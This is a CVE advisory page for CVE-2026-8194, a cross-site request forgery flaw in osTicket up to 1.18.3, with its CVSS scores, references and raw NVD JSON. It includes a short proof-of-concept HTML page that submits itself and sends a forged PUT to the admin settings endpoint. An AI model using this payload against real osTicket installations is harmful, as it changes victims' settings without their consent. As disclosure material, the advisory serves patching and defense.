CVE-2026-8194

Description

A security vulnerability has been detected in osTicket up to 1.18.3. Impacted is an unknown function of the file include/class.dispatcher.php of the component Dispatcher. The manipulation of the argument _method leads to cross-site request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through a pull request but has not reacted yet.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

osTicket <= 1.18.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-8194 -->
<html>
  <body>
    <!-- Simulate a request to the vulnerable endpoint -->
    <form action="http://vulnerable-host/scp/settings.php" method="POST">
      <input type="hidden" name="_method" value="PUT" />
      <input type="hidden" name="default_dept_id" value="1" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Automatically submit the form to trigger the CSRF
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8194
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8194
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8194/
[4] VulDB https://vuldb.com/cve/CVE-2026-8194
[5] https://github.com/az10b/security-advisories/blob/main/csrf_bypass_osTicket.md
[6] https://github.com/osTicket/osTicket/
[7] https://github.com/osTicket/osTicket/pull/6945
[8] https://vuldb.com/submit/802755
[9] https://vuldb.com/vuln/362346
[10] https://vuldb.com/vuln/362346/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8194", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:30.320", "lastModified": "2026-05-11T15:11:48.807", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in osTicket up to 1.18.3. Impacted is an unknown function of the file include/class.dispatcher.php of the component Dispatcher. The manipulation of the argument _method leads to cross-site request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through a pull request but has not reacted yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/az10b/security-advisories/blob/main/csrf_bypass_osTicket.md", "source": "[email protected]"}, {"url": "https://github.com/osTicket/osTicket/", "source": "[email protected]"}, {"url": "https://github.com/osTicket/osTicket/pull/6945", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/802755", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362346", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362346/cti", "source": "[email protected]"}]}}